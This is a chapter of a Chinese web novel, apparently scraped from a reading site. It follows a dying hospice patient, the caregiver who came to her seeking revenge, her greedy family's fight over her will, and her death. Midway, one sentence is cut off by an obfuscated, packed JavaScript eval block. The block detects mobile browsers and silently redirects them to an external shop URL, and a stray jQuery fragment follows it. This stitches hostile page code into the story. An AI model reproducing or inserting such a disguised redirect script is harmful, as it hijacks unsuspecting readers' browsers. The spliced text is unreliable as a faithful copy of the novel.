默认冷灰
24号文字
方正启体

15. 第四章(3)

作者:丹十一本书字数:K更新时间:
    北风呜呜地刮着,卷着零星的冰粒子拍打在临终病房的玻璃上,发出细碎的声响。


    屋里却因暖气氤氲着融融暖意,混合着淡淡的药味与消毒水味。


    医院的房门和走廊都贴满了福字和春联,年味悄悄漫进了这方寸病房。


    赵荷花坐在折叠凳上,额角渗着一层细密的薄汗——刚才帮叶晓霞拉伸右腿时,她着实用了不少力气。


    她绘声绘色地跟叶晓霞说着自己最近爱看的短剧,眼睛亮得很,神色兴奋极了,手里还轻轻握着叶晓霞的脚踝,动作轻柔却稳当。


    “荷花啊,你慢点儿。”叶晓霞吸了口气,嘴角却扬着笑,“刚才你说的那短剧,真有那么带劲?”


    赵荷花闻言,一只手轻轻拍了拍叶晓霞的膝盖,语气里满是笃定:“那可不!你是没看,那男主前期多嚣张啊,把女主的心伤透了,结果后来知道错了,哭着喊着求复合,又是下跪又是散尽家财的,那叫一个惨!”


    她说着,眼睛瞪得圆圆的,手指还在空中比划了一下,那神情仿佛又看到了剧里男主追悔莫及的模样,“我跟你说,每次看他求而不得,我这心里就又解气又痛快,比吃了蜜还甜!”


    叶晓霞听得咯咯直笑:“瞧你这劲儿头,我可不爱看这个。我最近追的那个才叫过瘾呢——女主本来都八十多了,过得磕磕绊绊,结果一场意外回到二十岁,手里揣着未来几十年的发财路子,先是摆摊卖小吃,后来开工厂、搞直播,没几年就成了亿万富婆,身边还有小鲜肉追!”


    她说到“亿万富婆”时,眼睛里闪着亮晶晶的光,脸颊也泛起了红晕,仿佛自己也跟着体验了一把发大财的滋味,“你想想,不用再为柴米油盐发愁,想买啥买啥,想帮谁帮谁,那日子多舒坦!”


    叶晓霞笑得眉眼弯弯,嘴角露出两个浅浅的梨涡,“你先看两集,要是不喜欢,我再陪你看你那追妻火葬场,怎么样?”


    赵荷花被她说得动了心,脸上露出了笑容,眼角的皱纹又挤在了一起:“行!那我回头去看看!不过你也得看我的那个啊!”


    她手上加了点力气,帮叶晓霞把腿轻轻放平,语气里带着点“等价交换”的认真,“我跟你说,那男主最后可是为了女主,连命都愿意豁出去,比那些发大财的情节感人多了!”


    “好嘞!”叶晓霞爽快地答应着,“下次你早点来,我给你算工钱,咱俩还能一起追剧呢!”


    赵荷花帮叶晓霞按摩完小腿,正坐在折叠凳上歇气,她伸手抹了把汗,目光落在江月膝头的红毛线上,眼睛一亮,带着几分打趣的神情打量着那顶未完工的帽子。


    只见江月坐在靠窗的椅子上,身上穿件米白色的薄棉袄,她的手指纤细修长,此刻正灵巧地穿梭在红毛线之间,银针翻飞间,一顶初具雏形的针织帽渐渐成型。


    余夏躺在旁边的病床上,身上盖着厚厚的棉被,就连脑袋也被一条毛巾裹住,只露出一张清瘦的脸。


    她刚才一边听着赵荷花和叶晓霞聊短剧,一边看着江月认真地打毛线帽子,嘴角始终噙着浅浅的笑意。


    “小月儿啊,你这手也太巧了!这大红色真喜庆!”赵荷花率先开了口,语气里满是赞叹,还带着几分打趣,“不过你这活计也太轻松了吧,小夏儿都怕累着你,也不使唤你干活,你就只需要坐着动动手指头就行了,可比我们这又拉又拽的康复训练舒坦多了!”


    她说着,还故意活动了一下手腕,做出一副“累坏了”的模样,眼角的皱纹挤得更厉害了,笑得格外爽朗。


    江月闻言,编织的动作也没停下来,只是抬起头,语气轻柔却带着点俏皮:“要不,我跟你换?我来帮老叶做康复训练,你来给我织帽子,怎么样?”


    赵荷花一听,连忙摆了摆手,头摇得像拨浪鼓,语气带着点夸张的急切:“那可不行!我这老眼昏花的,别说织帽子了,就连针脚都看不清,织出来指不定是个啥模样,别糟蹋了这么好的红毛线!”


    她说着,还故意眯起眼睛,伸手在空中虚抓了一下,仿佛真的在找针脚似的,那副认真又滑稽的模样逗得大家都笑了起来。


    叶晓霞笑得肩膀微微抖动,她抬手捂着嘴,眼角笑出了浅浅的细纹:“荷花啊,你也太逗了!”


    余夏笑得最厉害,她本来就身子弱,一笑起来就忍不住喘不过气,胸腔里一阵发紧,紧接着就剧烈地咳嗽起来,“咳咳咳……”


    她咳得脸颊涨得通红,眉头紧紧蹙着,手捂着胸口,单薄的肩膀微微耸动,看起来十分难受。


    江月见状,脸上的笑容立刻收了起来,眼神里满是担忧。


    她二话不说,迅速放下手里的针线和毛线篮,起身时动作都带着几分急切,快步走到床头柜旁,拿起余夏的保温杯,拧开盖子,试了一下水温,觉得可以给余夏喝,又快步走回余夏床边,动作麻利又轻柔地扶着余夏的后背,把杯子递到她嘴边,声音温柔又带着关切:“喝点温水润润喉咙。”


    余夏靠在江月的手上,顺着她的力道喝了几口温水,咳嗽渐渐平复了些。


    她喘着气,抬头看向江月,眼里满是感激,声音还有些沙哑:“谢谢你,小月……刚才笑太急了。”


    江月轻轻拍着她的后背,动作轻柔得像安抚孩子:“没事就好,你身子弱,可不能这么使劲笑了。”


    她说着,又帮余夏掖了掖被角,确保她盖得严实,才转身回到自己的座位上。


    赵荷花收住了笑,探出身子关心道:“余夏,没事吧?”


    叶晓霞脸上带着关切看向余夏:“以后可不敢这么笑了,慢点来。”


    余夏摇了摇头,嘴角露出一抹虚弱却温暖的笑意:“我没事,让你们担心了。”


    江月重新拿起针线,指尖的银针再次在红毛线间穿梭,只是动作比刚才更轻柔了些,却依旧执着,每一针每一线都透着股不肯停歇的韧劲。


    她的眼神专注地落在指尖的帽子上,仿佛那上面承载着某种沉甸甸的希望,只是偶尔抬眼看向余夏时,眼底会掠过一丝不易察觉的忧虑,快得像雪花落在地上,瞬间就融化了。


    余夏望着江月指尖翻飞的红毛线,看了许久,才缓缓开口,声音沙哑得像被砂纸磨过,带着一丝释然的轻淡:“江月,别费劲织了。”


    江月的动作顿了一下,银针依旧没停,头也没抬,只说:“快好了,再织几圈就成型了,过年正好能戴。”


    余夏轻轻摇了摇头,眼神里没有悲伤,只有一种看透世事的淡然,说:“不用了……我没几天了,估计等不到你把帽子织好。”


    赵荷花和叶晓霞听到余夏说的这句话,对视了一眼,眼里满是无奈和哀伤,但在事实面前,两人都没法说出什么安慰的话,只是静静地沉默着。


    江月的指尖猛地收紧,银针深深扎进毛线里,她几乎是立刻反驳,声音比平时高了些,带着一丝不易察觉的颤抖:“别胡说!肯定能等到的!”


    她的眼神变得格外明亮,像在极力驱散某种阴霾,握着银针的手指却微微泛白,泄露了她内心的不安。


    江月低下头,不敢再看余夏的眼睛,只是加快了编织的速度,银针碰撞发出细碎的声响,在寂静的病房里格外清晰,“这帽子是给你织的,你必须戴上它过年。”


    余夏没有再反驳,只是轻轻叹了口气,那口气轻得几乎听不见,她望着天花板上的吊灯,眼神渐渐放空,过了好一会儿,才又开口,声音里带着一丝恳求:“江月,陪我说会儿话吧。”


    江月立刻停下了手里的活,把毛线和银针轻轻放在随身携带的背包里,身体微微前倾,凑近余夏,眼神里满是关切:“好,你想说什么,我都听着。”


    “你最近每天都在干什么呀?”余夏转过头,看向江月。


    江月的嘴角露出一抹浅淡的笑,语气自然而温柔:“来医院陪你呀,给你擦身、喂饭,陪你说话,不然还能做什么。”


    这些日子,照顾余夏已经成了她生活的全部,她几乎没有想过除此之外的事情。


    余夏静静地看着她,看了好一会儿,才缓缓开口,声音依旧沙哑,却带着几分认真:“那以后……你来医院见不到我了,你打算去做什么?”


    这句话像一块石头,猛地砸进江月的心湖里,让她瞬间愣住了。


    她脸上的笑容渐渐褪去,眼神变得有些茫然,她张了张嘴,却一时不知道该怎么回答,过了好一会儿,才低声说:“我不知道……以前是有的,有非常想做的事,但现在……我好像不知道了。”


    她的声音越来越低,带着一丝无助,像个迷失了方向的孩子。


    余夏看着她迷茫的模样,眼底闪过一丝心疼,她吃力地抬起手,想要去碰江月的手,江月立刻会意,连忙伸手握住了她冰凉的指尖。


    余夏的手很轻,很软,却带着一股莫名的力量,她轻轻拍了拍江月的手背,语气缓慢却坚定:“别迷茫……只要好好活下去,之后还会有的。”


    江月的眼眶瞬间红了,泪水在里面打转,却倔强地不肯掉下来,她用力握紧了余夏的手,仿佛在汲取某种力量,声音带着哽咽:“我知道……可我怕……”


    “别怕。”余夏打断她,嘴角露出一抹浅浅的笑意,那笑容很淡,却格外温暖,“每个人都有自己的路要走,我只是先到站了,但你还有很长的路要走,还有很多美好的事情在等着你。慢慢找,总会找到新的目标,新的盼头。”


    她的眼神落在江月包里的红色毛线帽上,“就像这帽子,你织了这么久,不就是希望我能戴着它过年吗?这就是你的盼头。以后,你还会有新的盼头。”


    江月的眼眶还带着未干的红,睫毛上沾着细碎的泪珠,却因余夏的话弯起了嘴角。


    她眼底的迷茫被新的希望取代,握着余夏的冰凉手指轻轻收紧,语气里满是认真:“如果能健康活下去,你想做什么?不管是什么,我都帮你做。”


    余夏黯淡的眼睛亮得像缀了星辰,她猛地睁大了眼睛,语气里满是惊喜与雀跃:“哇,那我有很多!”


    “很多?”江月被她的模样逗笑,眼角的泪痕还未干透,笑容却格外柔软,“能有多少呀?”


    “大概有一万个!”余夏说着,伸出纤细的手指在空中比划了一个大大的圈,指尖因用力而微微泛红,脸上的笑容灿烂得像春日的暖阳,完全看不出方才的虚弱与淡然,“要去看海边的日出,要去世界上所有的迪士尼乐园,要学织你这样的红帽子,还要……还要活到一百岁,看到有像你这样的机器人面世!!”


    江月被她孩子气的话逗得轻笑出声,肩头微微抖动,眼底满是笑意:“哇!真的好多!一万个呢,我都不一定能活那么久,哪能帮你都做完。”


    余夏却立刻皱起眉头,故作严肃地看着她,语气带着点小小的霸道:“那你肯定要活着做完这一万件事!”


    “估计有点困难哦。”江月忍着笑,故意逗她。


    余夏眼珠一转,嘴角勾起一抹狡黠的笑,声音压低了些,带着点诱惑:“麻烦把这个困难克服一下嘛,等我……等我走了,我可以把我的财产都留给你呀!”她说着,还调皮地眨了眨眼睛,全然没注意到病房门口两道阴沉的身影。


    “你就是个骗子!”


    一声怒喝猛地撞破病房的寂静,余知遇像一头失控的野兽般闯了进来,她穿着一身黑色的羽绒服,头发凌乱,脸色涨得通红,额角的青筋突突直跳。


    她几步冲到病床前,伸手就要去抓江月的衣领,眼神里满是暴戾与厌恶:“专门跑到这种临终医院来骗孤家寡人的财产!你安的什么心!”


    江月下意识地往后缩了缩,紧紧护在余夏身前,脸色瞬间变得苍白,眼神里满是惊愕与不解,却依旧死死挡在余夏身前,生怕她受一点伤害。


    余夏原本带着笑意的脸瞬间冷了下来,苍白的唇抿成一条直线,眼神里淬着冰,她轻轻拍了拍江月的后背,示意她别怕,随后抬眼看向余知遇,声音冷得像窗外的冰雨:“原来你也觉得我是孤家寡人啊?”


    闻溪跟在余知遇身后,她今天没有化妆,整个人显得憔悴不已,穿着一身陈旧的棉袄,脸上却满是鄙夷与不耐,她双手抱胸,尖着嗓子骂道:“余夏你真是胳膊肘往外拐!外人骗你的钱,你还帮着她说话?你是不是傻!”


    “我就是傻,也比你们这些只想着我遗产的人强!”余夏的胸口剧烈起伏着,呼吸变得急促。


    “你以为我们愿意来看你你这个扫把星?”余知遇被她的话彻底激怒,眼神变得更加恶毒,她指着余夏的鼻子,嘶吼道,“要不是你,爸爸怎么会早死!你就是个灾星,克死了爸爸,现在还想把家产留给外人!没人会爱你!没人会真心对你!”


    “你放屁!”


    江月猛地站起身,虽然身形清瘦,却像一株挺拔的青松,挡在余夏面前。


    她的眼眶通红,泪水终于忍不住滚落,却眼神凌厉地瞪着余知遇,声音带着哽咽却异常坚定:“我爱她!我对她从来没有过半点私心,我照顾她,只是因为她是余夏,不是因为什么遗产!”


    “对!我也爱她!”赵荷花和叶晓霞异口同声道。


    赵荷花立刻从折叠凳上站起来,暗红色的棉袄衬得她脸色通红,她几步走到江月身边,双手叉腰,眼神愤怒地瞪着余知遇和闻溪:“我们在这儿住了这么久,谁不知道小月儿在真心照顾余夏!你们这些做亲人的,除了来要钱,还做过什么?还好意思说别人!”


    叶晓霞也撑着身子,半靠在床头,眼神里满是不平与坚定:“余夏那么好的人,你们不珍惜,总有人珍惜!我们都爱她,比你们这些所谓的亲人更爱她!”


    病房里瞬间陷入一片死寂,只有余夏急促的呼吸声和窗外呼啸的风声。


    余知遇和闻溪被江月三人的气势震慑住,愣在原地,脸上的愤怒渐渐被错愕取代。


    余知遇站在病床前,黑色羽绒服的拉链拉得老高,领口蹭得有些歪斜,露出里面皱巴巴的毛衣。


    她头发凌乱,额前的碎发被汗水黏住,脸色涨得通红,像是憋了一团火。


    方才被江月三人的反驳噎住,此刻又被“家人”二字刺激,她的情绪彻底失控,双目圆睁,额角的青筋突突直跳,双手握拳,指节捏得“咯咯”作响,语气暴戾又嚣张:“你们不是家人!就算口口声声说爱她又怎么样?没用!她到死都是孤家寡人,最后还不是要被外人骗走财产!”


    江月听到这话,瞳孔猛地一缩,心底的怒火瞬间被点燃。


    她深吸一口气,压下喉咙里的哽咽,抬起头,眼神像淬了冰的刀子,直直看向余知遇,嘴角勾起一抹冰冷的嘲讽:“家人?你也配提家人?你也配说爱这个字?”


    她的目光扫过余知遇错愕的脸,一字一句地反击,“你男朋友当初不是也口口声声说爱你吗?他把你哄得团团转,最后还把你骗进了传销组织,榨干了你所有的积蓄!”


    “你怎么知道?!”余知遇像是被人狠狠戳中了最隐秘的伤疤,脸色骤然由红转白,再由白转青,眼神里满是惊疑与戒备。


    她踉跄着后退半步,死死盯着江月,眉头拧成一个疙瘩,语气急促又带着一丝慌乱:“我根本不认识你!你到底是谁?你怎么会知道这些事?”


    她的大脑飞速运转,却完全想不起在哪里见过眼前这个清瘦的女人,难道是自己以前的客户吗?那她怎么没来找自己要求退款?


    自从被那个男朋友介绍去山海疗愈心灵谷工作,一开始说的好好的,只要是自己联系到客户来开单,就能有高提成,自己也很快攒够了一笔钱。


    原以为自己时来运转,要走上人生巅峰,但很快,公司就已经人去楼空,之前的客户纷纷找上门来,要求退款,妈妈闻溪卖房的钱都填进去也没补完这个大窟窿,她是不得已才来找余夏的,却没想到在病房门口听到余夏说要把自己的财产留给一个外人。


    江月看着他惊慌失措的模样,眼底的嘲讽更浓了,语气平静却带着不容置疑的力量:“我是谁不重要,重要的是,你别在这里站着说话不腰疼。”


    “闭嘴!你给我闭嘴!”余知遇被她的话刺激得暴跳如雷,她猛地抬起手,像是要扇江月耳光,手臂却因愤怒而微微发抖。


    她的脸颊涨得发紫,呼吸急促,胸口剧烈起伏,恼羞成怒道:“那都是过去的事了!他早就被我送进监狱了!是我亲手报警抓的他!”


    她嘶吼着,像是要通过这种方式证明自己的清醒,掩饰当初被欺骗的狼狈。


    江月毫不畏惧地迎上他的目光,没有丝毫退缩。


    她的眼神依旧锐利,却多了几分怜悯:“送进监狱又能怎么样?你当初被骗的滋味,难道都忘了吗?”


    她侧身握住余夏冰凉的手,指尖传递着温暖与力量,“余夏现在需要的是关心和陪伴,而不是你们这些所谓的‘家人’来榨取她最后的价值。你连最基本的共情都没有,还有脸指责别人?”


    眼看着两人就要闹得不可开交,闻溪突然换了一副嘴脸。


    她脸上的刻薄与不耐瞬间消失得无影无踪,取而代之的是谄媚与急切,她几步走到病床边,想要去拉余夏的手,却被余夏猛地躲开。


    闻溪脸上的笑容僵了一下,随即又堆得更满,声音柔得像棉花糖,带着刻意的讨好:“夏夏,妈知道错了,以前是妈不好,不该对你那样。”


    她眼圈泛红,装出一副委屈的模样,“妈现在就带你回家住,家里多暖和啊,总比在这冷冰冰的病房里强,你一个人多孤单。”


    余知遇也反应过来,连忙收起脸上的暴戾,换上一副可怜巴巴的神情,她搓着手,语气急切又卑微:“夏夏,姐也求你了,以前姐不对,不该说那些混账话。”


    她低下头,声音带着哭腔,“我被之前的男朋友骗了,以前的客户都找上门要钱,妈把房子都卖了也填不上窟窿,再还不上,她们就要把我送进监狱啊,夏夏,你救救姐,救救我们家啊!”


    余夏看着眼前这对母女变脸比翻书还快的模样,只觉得一阵恶心。


    她苍白的脸上没有任何表情,眼神冷得像万年寒冰,嘴角勾起一抹极淡的、带着嘲讽的弧度:“以前我被你们欺负、忽视的时候,你们怎么不道歉?我生病住院,没人照顾的时候,你们怎么不出现?”


    她的声音很轻,却字字诛心,“那时候,怎么没人来救我?现在想起我了,想起我还有存款了?晚了。”


    她眼神坚定地看着闻溪和余知遇,一字一句地说,“从现在起,我和你们断亲!往后我的一切,都与你们无关!”


    “你这个冷血无情的东西!”余知遇被她的话彻底激怒,所有的伪装瞬间崩塌,她目露凶光,猛地扑向病床,伸手就要去抓余夏的衣领,“我今天非要让你把钱交出来不可!”


    “住手!”闻溪下意识地拦住她,眼神里满是慌乱,“别动手!别在这里动手!”


    “小夏,你就帮帮你姐姐吧!”她还想再劝余夏,却被余夏冰冷的眼神看得浑身发毛。


    病房里瞬间乱作一团,桌椅被撞得发出“哐当”的声响,窗外的风雨似乎也更烈了。


    赵荷花见状,顿时急红了眼,将她本就结实的身子往中间一横,像一堵不可逾越的墙。


    她双手死死抓住余知遇的胳膊,猛地一使劲,就将她往后拽了过去。


    “砰”的一声,余知遇重心不稳,重重摔在地板上,闻溪也被连带推倒,两人狼狈地滚在一处。


    “想动小夏和小月儿,先把我赵荷花打倒!”赵荷花叉着腰,胸口剧烈起伏,脸色涨得通红,眼角的皱纹因愤怒而挤在一起,眼神里满是悍然,“你们这些没良心的东西,连病重的人都欺负,还有点人性吗?”


    叶晓霞也急得不行,她撑着行动不便的身子,颤抖着伸出手,用力按下了床边的呼叫铃。


    “铃铃铃——”尖锐的铃声在病房里响起,划破了混乱的喧嚣。


    她的身子微微发抖,却依旧咬着牙,眼神坚定地喊道:“医护人员马上就来!你们别想撒野!”


    没过多久,几名穿着白大褂的医护人员和保安就匆匆赶来。


    领头的护士皱着眉头,看着满地狼藉和扭打在一起的几人,语气严肃:“怎么回事?谁在病房里打架?”


    余知遇和闻溪见状,连忙从地上爬起来,拍了拍身上的灰尘,眼神里满是慌乱,却还想辩解:“我们是她的亲人,过来看看她,都是误会!”


    “胡说!明明是你们要抢钱,还想打人!”赵荷花立刻反驳,语气激动地把事情的来龙去脉说了一遍。


    医护人员听后,脸色愈发难看,对着余知遇和闻溪冷声道:“这里是医院,不是你们撒野的地方!病人需要静养,你们立刻离开!”


    保安也上前一步,眼神严肃地做出“请”的手势:“请你们马上出去,否则我们就要采取强制措施了。”


    余知遇和闻溪看着周围不善的目光,知道再赖下去也没用,只能恶狠狠地瞪了余夏一眼,嘴里骂骂咧咧地被保安架了出去。


    余夏看着他们狼狈离去的背影,紧绷的身体终于松弛下来,她靠在床头,呼吸有些急促,脸色依旧苍白,却眼神坚定地对护士说:“护士,麻烦帮我登记一下,以后禁止这两个人进入医院,我不想再见到他们。”


    护士点了点头,语气温和:“好的,我们会备注的,你别生气,好好休息。”


    江月连忙回到床边,拿起毛巾轻轻帮余夏擦了擦额头的薄汗,眼神里满是心疼:“你还好吗?有没有哪里不舒服?”


    余夏摇了摇头,看着江月、赵荷花和叶晓霞关切的眼神,苍白的脸上终于露出一抹浅浅的笑容,那笑容在满室的狼藉与窗外的风雨中,显得格外温暖:“我没事,刚刚谢谢你们了。”


    /


    窗外的雨终于停了,铅灰色的天空渐渐放晴,一缕浅金色的阳光穿透云层,斜斜地照进病房,在地板上投下一道长长的暖斑。


    屋里的暖气依旧融融,淡淡的药味里混着毛线的羊毛香气,还有律师刚离开时留下的、纸张的油墨味,一切都显得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119747|195957||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    平静而郑重。


    江月和律师擦身而过,再次来到病房,那顶大红色毛线帽已经基本完工,帽檐上的绒球饱满圆润,针脚细密整齐,在阳光下红得热烈而温暖,像一颗跳动的心脏。


    她依旧坐在靠窗的椅子上,手指正捏着最后一根银线,小心翼翼地给毛线帽收针,动作轻柔而专注,眼神里满是珍视,仿佛手里捧着的是世间最珍贵的宝贝。


    余夏半靠在床头,脸色比之前好了些,苍白的脸上泛着一层淡淡的红晕。


    她的眼神清亮而平静,正看着江月指尖的毛线帽,嘴角噙着一抹浅浅的笑意。


    江月收好最后一针,抬手将毛线帽举到眼前,仔细端详了一番,又轻轻拂了拂上面的绒毛,确认没有瑕疵后,才转过身,笑着递到余夏面前:“好了,你看看喜欢吗?”


    余夏伸出手,轻轻接过毛线帽,指尖触到柔软的羊毛,一股暖意顺着指尖蔓延开来。


    她将帽子放在掌心,细细摩挲着上面的针脚,眼神里满是感动:“真好看,比我想象中还要好。”


    她抬头看向江月,嘴角的笑意更深了,“你手艺真好。”


    江月被她夸得有些不好意思,脸颊泛起淡淡的红晕,伸手挠了挠头,语气带着点羞涩:“喜欢就好,本来还担心你不喜欢这个样式。”


    余夏摇了摇头,将毛线帽轻轻放在枕边,眼神转向床头柜上的遗嘱,语气平静却坚定:“律师刚才已经把遗嘱写好了,我所有的财产,以后都留给你。”


    江月脸上的笑容微微一滞,眼神里闪过一丝错愕,随即又被深深的感动取代。


    她张了张嘴,想说些什么,却一时语塞,只是定定地看着余夏,眼眶渐渐泛红。


    她一开始接近余夏,只是想要报复,但看到她在生命的尽头却依旧强烈的求生欲望,已经被深深打动。


    江月照顾余夏,从没想过要什么回报,可余夏的这份信任与托付,却让她心里涌起一股暖流,夹杂着一丝酸涩。


    余夏看出了她的情绪,轻轻拍了拍她的手背,语气带着点俏皮:“别感动得哭啊,我还有一万件事要让你做呢,现在才刚开始,可不能掉眼泪。”


    江月吸了吸鼻子,强忍着泪水,嘴角扯出一抹笑容:“一万件事,你这是要雇佣我一辈子啊。”


    “不然呢?”余夏挑了挑眉,眼神里满是狡黠,“我这一万件事还没写完呢,你可得慢慢帮我完成。”


    她的眼神渐渐变得认真起来,语气也郑重了许多,“第一件事,就是用力地、竭尽全力地活着,不管遇到什么困难,不管将来有多迷茫,都不能放弃自己的生命。”


    这句话像一颗石子,猛地砸进江月的心湖里,让她瞬间红了眼眶。


    她看着余夏认真的眼神,看着她苍白却坚定的脸庞,心里的感动再也抑制不住,泪水顺着脸颊滑落,滴落在手背上,温热而滚烫。


    她连忙低下头,用手背擦了擦眼泪,却怎么也擦不干净,肩膀微微颤抖着,泄露了她内心的汹涌。


    余夏看着她偷偷落泪的模样,眼底闪过一丝心疼,却故意笑着打趣道:“怎么,被我这一万件事难哭了?”


    江月抬起头,眼眶通红,脸上还挂着泪珠,却忍不住笑了出来,声音带着哽咽,语气却带着点打趣:“才不是,我是在想,你那点钱,不知道够不够请我做这一万件事,一想到以后要被你压榨剥削,就忍不住哭了。”


    余夏被她逗得咯咯直笑,脸色也因笑意变得更加红润。


    她伸出手,轻轻戳了戳江月的脸颊,语气带着几分自豪:“你可别小看我,我收入还不错!这些钱,足够让你舒舒服服地帮我完成这一万件事了,保证不让你吃亏。”


    江月看着她笑得眉眼弯弯的模样,心里的酸涩渐渐散去,只剩下满满的温暖。


    她用力点了点头,抹掉脸上的泪水,眼神坚定而认真:“好,那我就答应你。不过,你也得答应我,一定要好好地活下去,看着我把这一万件事一件一件做完。”


    余夏勉强笑了下,但还是点头了:“好,我答应你。”


    /


    隔壁床的老叶被家人接走,要回去团聚过年了。


    余夏吃完止痛药后睡得很沉,长长的睫毛安静地垂着,像蝶翼般轻轻覆在眼睑上,呼吸轻浅而均匀。


    江月看着她恬静的睡颜,起身轻轻拿走余夏手里握着手机——屏幕还亮着,停留在聊天界面,她本想帮她锁屏收起,目光却无意间扫到了置顶的两个联系人:宁歌、林影。


    那两个名字像针一样扎进她的眼睛,让她浑身一僵。


    她握着手机的手指微微收紧,心脏不受控制地狂跳起来。


    宁歌和林影,她们和余夏一样,都是当年那场事件里的关联者,也是她刻意接近的人。


    可她没想到,余夏竟然和她们一直有联系。


    江月的眼神变得复杂,有疑惑,有戒备,还有一丝不易察觉的慌乱。


    她轻轻将手机放在原位,坐回椅子上,目光落在余夏脸上,等待着她醒来。


    不知过了多久,余夏的睫毛轻轻颤动了一下,缓缓睁开了眼睛。


    她的眼神还有些惺忪,适应了片刻才聚焦在江月身上,嘴角勾起一抹浅淡的笑:“醒了多久了?”


    江月深吸一口气,压下心头的翻涌,语气平静却带着一丝试探:“刚醒。”


    她顿了顿,目光落在床头柜的手机上,“我刚才帮你收手机,看到你和宁歌、林影都有联系。”


    余夏的笑容没有丝毫变化,眼神里甚至没有一丝意外,她轻轻点了点头:“嗯,一直有联系。”


    “你是不是早就知道,我在接近你们?”江月的声音有些发紧,她紧紧盯着余夏的眼睛,想要从里面找到答案。


    余夏缓缓点头,语气淡然得像是在说一件无关紧要的事:“是宁歌最先发现的。”


    她回忆起过往,眼神变得有些悠远,“有段时间,她总觉得身边有个陌生的身影,不管是去公司还是回家,都能隐约感觉到有人跟着。她心思细,就拜托熟悉的客户调查了你,才知道你姐姐就是当年无差杀人事件唯一的受害者。”


    江月的心脏猛地一缩,指尖攥得更紧了,指甲几乎要嵌进肉里。


    “后来你去林影的饭店吃饭,”余夏继续说道,语气依旧平静,“林影见过你几次,觉得你眼神不对劲,总像是带着心事,又特意打听了你的情况,请了私家侦探,才知道你还在跟踪宁歌。”


    她看向江月,眼神里带着一丝了然,“你来找我租房的时候,我一眼就认出了你——毕竟宁歌和林影都跟我提过你,说你也有可能会来找我。我才反应过来,你是有意接近我们三个。”


    “所以你就联系了她们,想知道我要干什么?”江月的声音带着一丝沙哑,心里的防线在一点点崩塌。


    余夏轻轻“嗯”了一声,嘴角勾起一抹狡黠的笑,语气却带着几分无所谓:“谁管你干什么?”


    她眼神落在江月身上,带着一丝调侃,“反正你现在天天都在服侍我,等我死了你还要替我做事。”


    江月猛地抬起头,眼神里翻涌着压抑已久的悲愤与不甘,她的声音带着颤抖,却异常清晰:“我跟踪你们,接近你们,是想杀了你们。”


    这句话像一块巨石,砸破了两人之间长久以来的平静,“为什么当初死的不是你们,而是我姐姐?她那么好,那么善良,凭什么要承受那些痛苦!”


    她的眼眶瞬间红了,泪水汹涌而出,顺着脸颊滑落,“而你们,却能好好活着,甚至过得风生水起!”


    余夏脸上的笑容渐渐淡了下去,她静静地看着江月,眼神里没有愤怒,也没有辩解,只有一种深深的疲惫与释然。


    她轻轻叹了口气,声音沙哑得像被砂纸磨过:“现在我要死了,你开心吗?”


    江月的哭声猛地一顿,她看着余夏苍白虚弱的脸,看着她眼底的平静,心里的悲愤突然被一股莫名的情绪取代,那是愤怒,是不甘,还有一丝连她自己都没察觉的难过。


    她猛地抬手抹掉眼泪,眼神变得凌厉,声音带着嘶吼:“我现在想杀了老天!谁允许它让我身边的人一个个死去的!”


    她的肩膀剧烈地颤抖着,积压了太久的情绪在这一刻彻底爆发。


    余夏看着她激动的模样,嘴角突然露出一抹浅浅的笑容,那笑容里带着一丝调皮,又带着一丝释然:“你要跟我一起去死吗?”


    江月愣住了,随即破涕为笑,泪水还挂在脸颊上,眼神却变得复杂:“你的财产我还没花光,你先去死吧。”


    余夏被她逗得轻轻笑了起来,胸口微微起伏着,语气带着几分自豪:“那就行。我的遗产有很多,你就算大手大脚地花,也得花好一阵子呢。”


    “那我就去你母亲和余知遇面前花,”江月的眼神里闪过一丝狡黠,语气带着点孩子气的报复,“气死她们!”


    余夏摇了摇头,语气里带着一丝无奈:“她们没良心,是不会气死的。”她顿了顿,看着江月,眼神变得认真,“说不定你自己先气坏了身子,得不偿失。”


    “那我就杀了她们!”江月的语气带着一丝狠厉,眼神里闪过一丝戾气。


    “不行。”余夏立刻打断她,语气坚定,“杀了她们,我留给你的财产就得拿去赔偿,还要坐牢,太不划算了。”


    她看着江月,神色十分颜色,“我不允许你这样,我希望你不要去杀任何人,安安稳稳地,一个人花掉我所有的钱,好好生活。这也是我让你做的一万件事之一。”


    江月看着她认真的眼神,心里的戾气渐渐消散,沉默了片刻,她轻轻点了点头:“那好吧。”


    余夏满意地笑了笑,闭上眼睛休息了片刻,又重新睁开,语气带着一丝疑惑:“有点热,是不是春天到了?”


    江月闻言,起身走到窗边,推开窗户向外望去。


    凄风冷雨在空气中无限蔓延,就连路边光秃秃的树枝都显得恐怖阴森,哪里有春天的影子?


    她深吸了一口气,空气中满是冬日的萧瑟气氛,心里却莫名地有些不安。


    她连忙转过身,快步走回床边。


    余夏静静地躺在病床上,眼睛闭着,嘴角还带着一丝浅浅的笑容,脸色依旧苍白,却异常平静。


    她的呼吸已经停止了,胸口不再起伏,那顶鲜红的毛线帽就放在她的枕边,红得热烈而温暖,与她苍白的脸庞形成鲜明的对比。


    江月的脚步猛地顿住,心脏像是被一只无形的手紧紧攥住,痛得她无法呼吸。


    她缓缓走到床边,伸出颤抖的手,轻轻碰了碰余夏的脸颊——冰凉的触感传来,让她瞬间如坠冰窖。


    “余夏?”她的声音带着哽咽,轻轻唤着她的名字,“余夏,你醒醒……”


    没有回应。


    病房里静得可怕,江月缓缓蹲下身,将脸埋在床边,泪水无声地汹涌而出,浸湿了床单。


    她没有嚎啕大哭,只是肩膀剧烈地颤抖着,压抑着心底的悲痛。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)